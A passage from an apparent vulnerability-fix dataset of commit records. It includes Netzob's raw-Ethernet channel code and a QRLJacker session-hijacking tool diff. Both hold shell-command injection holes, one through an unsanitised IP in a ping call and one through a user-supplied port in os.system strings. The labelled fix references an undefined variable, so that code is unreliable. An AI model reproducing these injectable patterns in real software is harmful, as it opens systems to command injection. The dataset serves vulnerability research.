def open(self, timeout=None): \"\"\"Open the communication channel. If the channel is a client, it starts to connect to the specified server. \"\"\" if self.isOpen: raise RuntimeError( \"The channel is already open, cannot open it again\") self.__socket=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL)) self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL)) self.isOpen=True def close(self): \"\"\"Close the communication channel.\"\"\" if self.__socket is not None: self.__socket.close() self.isOpen=False def read(self, timeout=None): \"\"\"Read the next message on the communication channel. @keyword timeout: the maximum time in millisecond to wait before a message can be reached @type timeout::class:`int` \"\"\" if self.__socket is not None: (data, _)=self.__socket.recvfrom(65535) ethHeaderLen=14 if len(data) > ethHeaderLen: data=data[ethHeaderLen:] ipHeaderLen=(data[0] & 15) * 4 if len(data) > ipHeaderLen: data=data[ipHeaderLen:] return data else: raise Exception(\"socket is not available\") def writePacket(self, data): \"\"\"Write on the communication channel the specified data :parameter data: the data to write on the channel :type data: binary object \"\"\" if self.header is None: raise Exception(\"IP header structure is None\") if self.__socket is None: raise Exception(\"socket is not available\") self.header_presets['ip.payload']=data packet=self.header.specialize(presets=self.header_presets) len_data=self.__socket.sendto(packet,(self.interface, RawEthernetClient.ETH_P_ALL)) return len_data @typeCheck(bytes) def sendReceive(self, data, timeout=None): \"\"\"Write on the communication channel the specified data and returns the corresponding response :parameter data: the data to write on the channel :type data: binary object @type timeout::class:`int` \"\"\" if self.__socket is not None: portSrcTx=(data[0] * 256) +data[1] portDstTx=(data[2] * 256) +data[3] responseOk=False stopWaitingResponse=False self.write(data) while stopWaitingResponse is False: dataReceived=self.read(timeout) portSrcRx=(dataReceived[0] * 256) +dataReceived[1] portDstRx=(dataReceived[2] * 256) +dataReceived[3] stopWaitingResponse=(portSrcTx==portDstRx) and(portDstTx==portSrcRx) if stopWaitingResponse: responseOk=True if responseOk: return dataReceived else: raise Exception(\"socket is not available\") def get_interface_addr(self, ifname): SIOCGIFHWADDR=0x8927 s=socket.socket() response=ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname)) s.close() return struct.unpack(\"16xh6s8x\", response) def initHeader(self): \"\"\"Initialize the IP header according to the IP format definition. \"\"\" dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: p=subprocess.Popen(\"ping -c1{}\".format(self.remoteIP), shell=True) p.wait() time.sleep(0.1) dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP)) srcMacAddr=self.get_interface_addr(bytes(self.interface, 'utf-8'))[1] eth_dst=Field(name='eth.dst', domain=Raw(dstMacAddr)) eth_src=Field(name='eth.src', domain=Raw(srcMacAddr)) eth_type=Field(name='eth.type', domain=Raw(b\"\\x08\\x00\")) ip_ver=Field( name='ip.version', domain=BitArray( value=bitarray('0100'))) ip_ihl=Field(name='ip.hdr_len', domain=BitArray(bitarray('0000'))) ip_tos=Field( name='ip.tos', domain=Data( dataType=BitArray(nbBits=8), originalValue=bitarray('00000000'), svas=SVAS.PERSISTENT)) ip_tot_len=Field( name='ip.len', domain=BitArray(bitarray('0000000000000000'))) ip_id=Field(name='ip.id', domain=BitArray(nbBits=16)) ip_flags=Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT)) ip_frag_off=Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT)) ip_ttl=Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT)) ip_proto=Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED)) ip_checksum=Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000'))) ip_saddr=Field(name='ip.src', domain=IPv4(self.localIP)) ip_daddr=Field( name='ip.dst', domain=IPv4(self.remoteIP)) ip_payload=Field(name='ip.payload', domain=Raw()) ip_ihl.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32)) ip_tot_len.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8)) ip_checksum.domain=InternetChecksum(fields=[ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16)) self.header=Symbol(name='Ethernet layer', fields=[eth_dst, eth_src, eth_type, ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload]) @property def remoteIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__remoteIP @remoteIP.setter @typeCheck(str) def remoteIP(self, remoteIP): if remoteIP is None: raise TypeError(\"Listening IP cannot be None\") self.__remoteIP=remoteIP @property def localIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__localIP @localIP.setter @typeCheck(str) def localIP(self, localIP): self.__localIP=localIP @property def upperProtocol(self): \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc. :type::class:`str` \"\"\" return self.__upperProtocol @upperProtocol.setter @typeCheck(int) def upperProtocol(self, upperProtocol): if upperProtocol is None: raise TypeError(\"Upper protocol cannot be None\") self.__upperProtocol=upperProtocol @property def interface(self): \"\"\"Interface such as eth0, lo. :type::class:`str` \"\"\" return self.__interface @interface.setter @typeCheck(str) def interface(self, interface): if interface is None: raise TypeError(\"Interface cannot be None\") self.__interface=interface @property def timeout(self): return self.__timeout @timeout.setter @typeCheck(int) def timeout(self, timeout): self.__timeout=timeout ", "sourceWithComments": "#-*- coding: utf-8 -*-\n\n#+---------------------------------------------------------------------------+\n#| 01001110 01100101 01110100 01111010 01101111 01100010 |\n#| |\n#| Netzob : Inferring communication protocols |\n#+---------------------------------------------------------------------------+\n#| Copyright (C) 2011-2017 Georges Bossert and Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#| This program is free software: you can redistribute it and/or modify |\n#| it under the terms of the GNU General Public License as published by |\n#| the Free Software Foundation, either version 3 of the License, or |\n#| (at your option) any later version. |\n#| |\n#| This program is distributed in the hope that it will be useful, |\n#| but WITHOUT ANY WARRANTY; without even the implied warranty of |\n#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |\n#| GNU General Public License for more details. |\n#| |\n#| You should have received a copy of the GNU General Public License |\n#| along with this program. If not, see . |\n#+---------------------------------------------------------------------------+\n#| @url : http://www.netzob.org |\n#| @contact : contact@netzob.org |\n#| @sponsors : Amossys, http://www.amossys.fr |\n#| Sup\u00e9lec, http://www.rennes.supelec.fr/ren/rd/cidre/ |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| File contributors : |\n#| - Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Standard library imports |\n#+---------------------------------------------------------------------------+\nimport socket\nfrom bitarray import bitarray\nimport struct\nfrom fcntl import ioctl\nimport arpreq\nimport subprocess\nimport time\nimport binascii\n\n#+---------------------------------------------------------------------------+\n#| Related third party imports |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Local application imports |\n#+---------------------------------------------------------------------------+\nfrom netzob.Common.Utils.Decorators import typeCheck, NetzobLogger\nfrom netzob.Simulator.Channels.AbstractChannel import AbstractChannel\nfrom netzob.Model.Vocabulary.Field import Field\nfrom netzob.Model.Vocabulary.Symbol import Symbol\nfrom netzob.Model.Types.IPv4 import IPv4\nfrom netzob.Model.Types.Raw import Raw\nfrom netzob.Model.Types.BitArray import BitArray\nfrom netzob.Model.Types.Integer import Integer\nfrom netzob.Model.Types.AbstractType import AbstractType\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum\nfrom netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS\n\n\n@NetzobLogger\nclass RawEthernetClient(AbstractChannel):\n \"\"\"A RawEthernetClient is a communication channel allowing to send IP\n payloads. This channel is responsible for building the IP layer.\n\n Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html\n\n >>> from netzob.all import *\n >>> client = RawEthernetClient(remoteIP='127.0.0.1')\n >>> client.open()\n >>> symbol = Symbol([Field(\"Hello Zoby !\")])\n >>> client.write(symbol.specialize())\n >>> client.close()\n\n \"\"\"\n\n ETH_P_ALL = 3\n\n @typeCheck(str, int)\n def __init__(self,\n remoteIP,\n localIP=None,\n upperProtocol=socket.IPPROTO_TCP,\n interface=\"eth0\",\n timeout=5):\n super(RawEthernetClient, self).__init__(isServer=False)\n self.remoteIP = remoteIP\n self.localIP = localIP\n self.upperProtocol = upperProtocol\n self.interface = interface\n self.timeout = timeout\n self.__socket = None\n self.header = None # The IP header symbol format\n self.header_presets = {} # Dict used to parameterize IP header fields\n self.type = AbstractChannel.TYPE_RAWETHERNETCLIENT\n\n # Header initialization\n self.initHeader()\n\n def open(self, timeout=None):\n \"\"\"Open the communication channel. If the channel is a client, it starts to connect\n to the specified server.\n \"\"\"\n\n if self.isOpen:\n raise RuntimeError(\n \"The channel is already open, cannot open it again\")\n\n self.__socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL))\n self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL))\n self.isOpen = True\n\n def close(self):\n \"\"\"Close the communication channel.\"\"\"\n if self.__socket is not None:\n self.__socket.close()\n self.isOpen = False\n\n def read(self, timeout=None):\n \"\"\"Read the next message on the communication channel.\n\n @keyword timeout: the maximum time in millisecond to wait before a message can be reached\n @type timeout: :class:`int`\n \"\"\"\n # TODO: handle timeout\n if self.__socket is not None:\n (data, _) = self.__socket.recvfrom(65535)\n\n # Remove Ethernet header from received data\n ethHeaderLen = 14 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ethHeaderLen:\n data = data[ethHeaderLen:]\n\n # Remove IP header from received data\n ipHeaderLen = (data[0] & 15) * 4 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ipHeaderLen:\n data = data[ipHeaderLen:]\n return data\n else:\n raise Exception(\"socket is not available\")\n\n def writePacket(self, data):\n \"\"\"Write on the communication channel the specified data\n\n :parameter data: the data to write on the channel\n :type data: binary object\n \"\"\"\n\n if self.header is None:\n raise Exception(\"IP header structure is None\")\n\n if self.__socket is None:\n raise Exception(\"socket is not available\")\n\n self.header_presets['ip.payload'] = data\n packet = self.header.specialize(presets=self.header_presets)\n len_data = self.__socket.sendto(packet, (self.interface, RawEthernetClient.ETH_P_ALL))\n return len_data\n\n @typeCheck(bytes)\n def sendReceive(self, data, timeout=None):\n \"\"\"Write on the communication channel the specified data and returns the corresponding response\n\n :parameter data: the data to write on the channel\n :type data: binary object\n @type timeout: :class:`int`\n \"\"\"\n if self.__socket is not None:\n # get the ports from message to identify the good response (in TCP or UDP)\n portSrcTx = (data[0] * 256) + data[1]\n portDstTx = (data[2] * 256) + data[3]\n\n responseOk = False\n stopWaitingResponse = False\n self.write(data)\n while stopWaitingResponse is False:\n # TODO: handle timeout\n dataReceived = self.read(timeout)\n portSrcRx = (dataReceived[0] * 256) + dataReceived[1]\n portDstRx = (dataReceived[2] * 256) + dataReceived[3]\n stopWaitingResponse = (portSrcTx == portDstRx) and (portDstTx == portSrcRx)\n if stopWaitingResponse: # and not timeout\n responseOk = True\n if responseOk:\n return dataReceived\n else:\n raise Exception(\"socket is not available\")\n\n def get_interface_addr(self, ifname):\n SIOCGIFHWADDR = 0x8927\n s = socket.socket()\n response = ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname))\n s.close()\n return struct.unpack(\"16xh6s8x\", response)\n\n def initHeader(self):\n \"\"\"Initialize the IP header according to the IP format definition.\n\n \"\"\"\n\n # Ethernet header\n\n # Retrieve remote MAC address\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n p.wait()\n time.sleep(0.1)\n\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP))\n\n # Retrieve local MAC address\n srcMacAddr = self.get_interface_addr(bytes(self.interface, 'utf-8'))[1]\n\n eth_dst = Field(name='eth.dst', domain=Raw(dstMacAddr))\n eth_src = Field(name='eth.src', domain=Raw(srcMacAddr))\n eth_type = Field(name='eth.type', domain=Raw(b\"\\x08\\x00\"))\n\n\n # IP header\n\n ip_ver = Field(\n name='ip.version', domain=BitArray(\n value=bitarray('0100'))) # IP Version 4\n ip_ihl = Field(name='ip.hdr_len', domain=BitArray(bitarray('0000')))\n ip_tos = Field(\n name='ip.tos',\n domain=Data(\n dataType=BitArray(nbBits=8),\n originalValue=bitarray('00000000'),\n svas=SVAS.PERSISTENT))\n ip_tot_len = Field(\n name='ip.len', domain=BitArray(bitarray('0000000000000000')))\n ip_id = Field(name='ip.id', domain=BitArray(nbBits=16))\n ip_flags = Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT))\n ip_frag_off = Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT))\n ip_ttl = Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT))\n ip_proto = Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED))\n ip_checksum = Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000')))\n ip_saddr = Field(name='ip.src', domain=IPv4(self.localIP))\n ip_daddr = Field(\n name='ip.dst', domain=IPv4(self.remoteIP))\n ip_payload = Field(name='ip.payload', domain=Raw())\n\n ip_ihl.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id, ip_flags,\n ip_frag_off,\n ip_ttl, ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32))\n ip_tot_len.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8))\n ip_checksum.domain = InternetChecksum(fields=[ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16))\n \n self.header = Symbol(name='Ethernet layer', fields=[eth_dst,\n eth_src,\n eth_type,\n ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload])\n\n # Management methods\n\n # Properties\n\n @property\n def remoteIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__remoteIP\n\n @remoteIP.setter\n @typeCheck(str)\n def remoteIP(self, remoteIP):\n if remoteIP is None:\n raise TypeError(\"Listening IP cannot be None\")\n\n self.__remoteIP = remoteIP\n\n @property\n def localIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__localIP\n\n @localIP.setter\n @typeCheck(str)\n def localIP(self, localIP):\n self.__localIP = localIP\n\n @property\n def upperProtocol(self):\n \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc.\n\n :type: :class:`str`\n \"\"\"\n return self.__upperProtocol\n\n @upperProtocol.setter\n @typeCheck(int)\n def upperProtocol(self, upperProtocol):\n if upperProtocol is None:\n raise TypeError(\"Upper protocol cannot be None\")\n\n self.__upperProtocol = upperProtocol\n\n @property\n def interface(self):\n \"\"\"Interface such as eth0, lo.\n\n :type: :class:`str`\n \"\"\"\n return self.__interface\n\n @interface.setter\n @typeCheck(str)\n def interface(self, interface):\n if interface is None:\n raise TypeError(\"Interface cannot be None\")\n\n self.__interface = interface\n\n @property\n def timeout(self):\n return self.__timeout\n\n @timeout.setter\n @typeCheck(int)\n def timeout(self, timeout):\n self.__timeout = timeout\n"}}, "msg": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --"}}, "https://github.com/sonali001/QRLJacking": {"a101472db88764a0d031ef85fa283967b0692a77": {"url": "https://api.github.com/repos/sonali001/QRLJacking/commits/a101472db88764a0d031ef85fa283967b0692a77", "html_url": "https://github.com/sonali001/QRLJacking/commit/a101472db88764a0d031ef85fa283967b0692a77", "message": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n....", "sha": "a101472db88764a0d031ef85fa283967b0692a77", "keyword": "command injection issue", "diff": "diff --git a/QrlJacking-Framework/QRLJacker.py b/QrlJacking-Framework/QRLJacker.py\nindex 81260e9..9538f70 100644\n--- a/QrlJacking-Framework/QRLJacker.py\n+++ b/QrlJacking-Framework/QRLJacker.py\n@@ -1,10 +1,40 @@\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n@@ -12,10 +42,10 @@ def Serve_it(port=1337):\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n@@ -24,9 +54,28 @@ def create_driver():\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n@@ -282,12 +331,6 @@ def Simple_Exploit(classname,url,image_number,s=10):\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n@@ -331,7 +374,13 @@ def main():\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "files": {"/QrlJacking-Framework/QRLJacker.py": {"changes": [{"diff": "\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n", "add": 33, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser", "from selenium import webdriver", "from PIL import Image"], "goodparts": ["import base64 ,time ,os ,urllib ,sys ,threading ,configparser", "def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")", "try:", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver", "except:", "\tprint \"[!] Error Importing Exterinal Libraries\"", "\tprint \"[!] Trying to install it using pip\"", "\ttry:", "\t\tos.popen(\"python -m pip install selenium\")", "\t\tos.popen(\"python -m pip install Pillow\")", "\texcept:", "\t\ttry:", "\t\t\tos.popen(\"pip install selenium\")", "\t\t\tos.popen(\"pip install Pillow\")", "\t\texcept:", "\t\t\tprint \"[!] Can't install libraries \"", "\t\t\tprint \"[!!] Try to install it yourself\"", "\t\t\texit(0)", "finally:", "\tclear()", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver"]}, {"diff": "\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n", "add": 2, "remove": 2, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"], "goodparts": ["\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"]}, {"diff": "\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n", "add": 22, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\tweb = webdriver.Chrome()", "\t\tprint \" [+]Opening Google Chrome...\"", "\t\treturn web"], "goodparts": ["\t\ttry:", "\t\t\tweb = webdriver.Chrome()", "\t\t\tprint \" [+]Opening Google Chrome...\"", "\t\t\treturn web", "\t\texcept:", "\t\t\ttry:", "\t\t\t\tweb = webdriver.Opera()", "\t\t\t\tprint \" [+]Opening Opera...\"", "\t\t\t\treturn web", "\t\t\texcept:", "\t\t\t\ttry:", "\t\t\t\t\tweb = webdriver.Edge()", "\t\t\t\t\tprint \" [+]Opening Edge...\"", "\t\t\t\t\treturn web", "\t\t\t\texcept:", "\t\t\t\t\ttry:", "\t\t\t\t\t\tweb = webdriver.Ie()", "\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"", "\t\t\t\t\t\treturn web", "\t\t\t\t\texcept:", "\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"", "\t\t\t\t\t\texit(0)"]}, {"diff": "\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n", "add": 0, "remove": 6, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")"], "goodparts": []}, {"diff": "\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "add": 7, "remove": 1, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tif port == \"\":port = 1337"], "goodparts": ["\t\t\ttry:", "\t\t\t\tint(userInput)", "\t\t\texcept ValueError:", "\t\t\t\tport = 1337", "\t\t\tif port == \"\":", "\t\t\t\tport = 1337"]}], "source": "\n import 